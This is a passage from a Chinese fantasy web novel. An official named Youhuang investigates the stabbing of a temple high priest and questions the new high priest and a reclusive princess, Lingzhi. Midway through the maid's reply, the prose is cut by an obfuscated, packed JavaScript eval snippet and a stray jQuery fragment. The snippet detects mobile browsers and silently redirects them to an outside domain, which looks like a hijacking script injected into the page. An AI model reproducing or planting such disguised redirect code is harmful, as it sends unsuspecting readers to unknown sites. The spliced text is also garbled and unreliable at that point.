“啊?眼睛?”
神侍愣住,像是忽然想起什么,惊呼道:“哦!对了!眼睛!我想起来了!他的眼睛是绿色的!”
绿色的眼睛……看来真的不是临奚。
“你为什么放他进去?”
“不是我放进去的!他是从窗户溜进去的!当时我在门外听到异响,急忙破门而入,却见窗户洞开,那人正从窗户一跃而出,而大司命他……正倒在血泊之中……”
幽媓走到窗边,一把推开窗扉。
楼高百尺。
能从这么高的地方逃走……有意思,看来也不是凡人。
窗外,松苓花树枝繁叶茂,落英缤纷。隔着这一片郁郁葱葱的茂盛,幽媓忽然看到对面的高楼。那窗扉小开半扇,窗边坐着一个妙龄女子,正款款摇动手里的团扇。
她生的极美,是那种娴静的、温柔的美,让幽媓想起九天瑶台的仙子,她眉宇间笼罩着朦胧的烟色,像缥缈的梦,却又有淡淡的哀愁。
她也透过万叶千花的缝隙,瞥到了幽媓。
却只有一眼。
那女子眉宇微蹙,收敛神色,然后伸手掩住了窗。
幽媓好奇地问:“对面住的是谁?”
“回大人,是潼尧公主,凌芝。”
幽媓动作微顿,良久,才疑惑道:“哦?潼尧的公主?她怎么会在神殿里?”
“凌芝公主当年曾下嫁给三洲国王,不久后,王上挥师夷灭西海,诛三洲王族,念与她儿时有旧,将她带回了扶桑,”神侍道,“听说王上曾有意立她为妃,但她不肯,宁愿留在这神殿里终老此生……”
“住口!不得妄议王上!”司丞厉声道。
幽媓没有说话。
莫名的情绪从心底升起,不猛烈,却无孔不入,让她觉得胸闷,就连方才推开窗看到的春光美景都黯淡下去了。
她有点烦躁。
公主……嗯,长得倒是挺好看的,和她完全不一样。
原来他之前喜欢这个类型吗?
那他对她,就和他现在对自己一样,既然得不到,就要想方设法地关起来吗?这是他第几个女人?
她越想越多,越想越乱,直到司丞在她身后喊:“大人?大人?您有在听吗?”
“……怎么了?”幽媓回过神,轻咳一声。
“大司命来了。”
幽媓一惊,瞿然回神,见到一个身着华丽祭袍的男人正站在门口笑着打量她。那男人身形微胖,面容慈祥,身上的云纹都是由金线修制,繁复而又美丽。
这便是新任大司命,祝由。
她急忙俯下身:“见过大司命。”
“大人快快请起。”祝由笑呵呵地扶她。
幽媓一眼就看到他手上镶金的碧玉扳指。
“今早就听说二位大人要来查案,可惜我要主持祭祀,有失远迎,还请二位不要介怀,”祝由道,又转头,对身后的神侍厉声喝道,“愣着干什么?还不快去备些糕点瓜果?!”
神侍瑟瑟发抖:“是……”
“不必了,”幽媓拦住他说,“承蒙大司命厚爱,但我一向不在意这些礼节。”
“大人这是什么话?您是奉王上的命令来办案,自然是王上身边得力之人。今日不如就留下来,和我一同用个午膳?我愿意和大人交个朋友。”
祝由笑眯眯的,脸上皱纹横生。
幽媓笑了:“我区区小吏,哪能和大司命做朋友,而且我有官务在身,不便叨扰,还请大司命见谅。”
祝由脸上的笑容僵硬了一瞬,但很快恢复如常。
“也好,”他依然笑道,“既然大人执意如此,我也就不强求了,请便吧。”
“敢问大司命,可有关于前几日那两个凶手的消息?”
祝由皱起眉头:“这几日,我也曾派人在神殿里彻查,但都无一所获。”
“那二人能全身而退,来去自如,想必不是人族。”
“大人的意思是……?”
“是妖。”
幽媓抬眸,斩钉截铁道。
祝由倒吸一口冷气:“什么?有妖族闯入神殿?”
“不错,我也不知道对方的目的是什么,但他们既然敢刺杀先任大司命,便难保不会重来一次……还请您多加小心。”
祝由脸色发白。
“灵咸大司命身上的伤,似乎和近几日城中的几起命案也有关联,”司丞建议道,“大人若想查,不如去那里碰碰运气。”
幽媓眉一沉:“好,我们现在就走。”
她紧走几步,忽然又想起什么:“对了,大司命,这位凌芝公主在神殿里住了多久了?”
祝由回过神:“大概有……四年左右?”
幽媓“哦”了一声,又问:“那她怎么不住在王宫里啊?”
“为何要在王宫?”祝由诧异道。
幽媓幽幽道:“自然是近水楼台先得月嘛,住在宫里,离王上更近,走动起来也方便……”
司丞额角滴下冷汗,心道,坏事了。
祝由却浑然不觉,笑道:“大人有所不知,凌芝公主年幼时曾经在扶桑待过一段时间,但她体弱多病,又喜欢幽静,在宫里住不习惯,所以先王特意下令让她住在神殿,如今这里便是她从前的住处。”
幽媓更不开心了。
行啊,屋子都给人家留好了……还喜静……
“既如此,为何不回潼尧呢?”她语气凉凉。
“这是王上的意思,我等哪敢揣摩圣意。”祝由道。
幽媓背过身去,脸彻底垮了下来。
司丞见事态不妙,急忙打圆场道:“大人,要不先去查那几起命案?”
“不,我改主意了,”幽媓说,“我要去见见这位公主!”
“这……下官觉得……没有必要……”
“怎么没有必要?她的窗户正对着大司命的房间,万一她看到凶手了呢?”
“大人,公主要是真看到什么,估计早就说出来了……”
“那……说不定我能问出点别的来呢?你拦我干嘛?是不是王上授意你这么做的?”
“……”
行,费力不讨好。
司丞赶忙赔上笑脸:“怎么会呢?王上说了,大人想做什么就做什么!走,我们这就去拜访公主!”
……
幽媓盛气凌人地叩门,却吃了闭门羹——凌芝的侍女推门出来回话:“大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414630|184695||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人请回吧。公主身体不适,不便见客。”
司丞喜笑颜开:“我就说嘛,大人您何必来一趟呢,走,咱们还是继续……”
“慢着!”幽媓上前,理直气壮道,“我是奉王上的命令,前来追查前几日擅闯神殿、刺杀大司命的凶手的!公主现在不想见我,难道是因为屋子里藏了人吗?”
“大人慎言!我家公主平素深居简出,从不过问世事,何谈窝藏贼人?简直是污蔑!”
“既然行的端做得正,为何躲躲藏藏,不敢见人?”
“你!!”
太可怕了,女人间的斗争太可怕了。
“大人,依我看咱们还是先……”司丞擦了擦汗道。
幽媓板着脸:“你们这是连王上都不放在眼里了吗?”
侍女神色微僵,恨恨瞪了她一眼:“容我先请示公主。”
目的达成,幽媓心里却更不高兴了——果然一提青胤她们就肯服软……哼!有猫腻!
隔了一会儿,侍女又走出来,没好气道:“二位请进。”
……
满室芬芳。
凌芝坐在屏风背后,露出一道曼妙端正的剪影,她身形窈窕瘦削,发髻高挽,像一副朦胧渺远的仕女图。
幽媓清了清嗓子:“中丞司办案,多有得罪。”
屏风后的声音如琴音般悦耳:“大人请讲。”
幽媓起身,缓缓踱步,审视着屏风后的影子。
凌芝兀自端坐,纹丝不动。
幽媓道:“前几日大司命遇刺之事,公主可曾听说?”
凌芝笑了:“我虽深居简出,不问世事,但毕竟身处这神殿之中。大人所说之事,我若非目渺耳聋,很难不知晓一二。”
“既如此,您可曾注意到异样之处?”
“没有。”
幽媓慢悠悠踱步到窗前,意有所指:“我瞧公主这窗子的位置不错,正对着大司命的窗前,从这个角度,应该能发现不少旁人注意不到的细节。”
凌芝淡淡道:“哦?大人指的是?”
幽媓回过头,冷笑。
“那日凶手从窗户逃走,你肯定看到了。”她说。
凌芝也笑了:“恐怕要让大人失望了——实在不巧,我那日头痛,不敢吹风,所以让侍女关了窗……”
她以团扇掩面,曼声道——
“……什么都没看到。”
幽媓抱着臂,继续问:“从这么高的地方跳下去,就算没看到,也得能听到些什么吧?”
“从这么高的地方跳下去,若不是自杀,那就是有异于常人的本事,”凌芝淡淡道,“大人未免太过高看我了,我一介弱女子,哪能降妖除魔呢?”
真是一问三不知。
“公主如此身娇体弱,为何不回家呢?”
“家国已灭,无处可去。”
“若不回西海,回潼尧呢?”
“亡国之妇,何以家为?”
……好没意思。
幽媓回过头,道:“告辞。”
然而就在她走到门边,要推门出去之际,身后忽然传来凌芝的声音,渺远的,轻柔的,像在撩人心弦。
“大人,请留步。”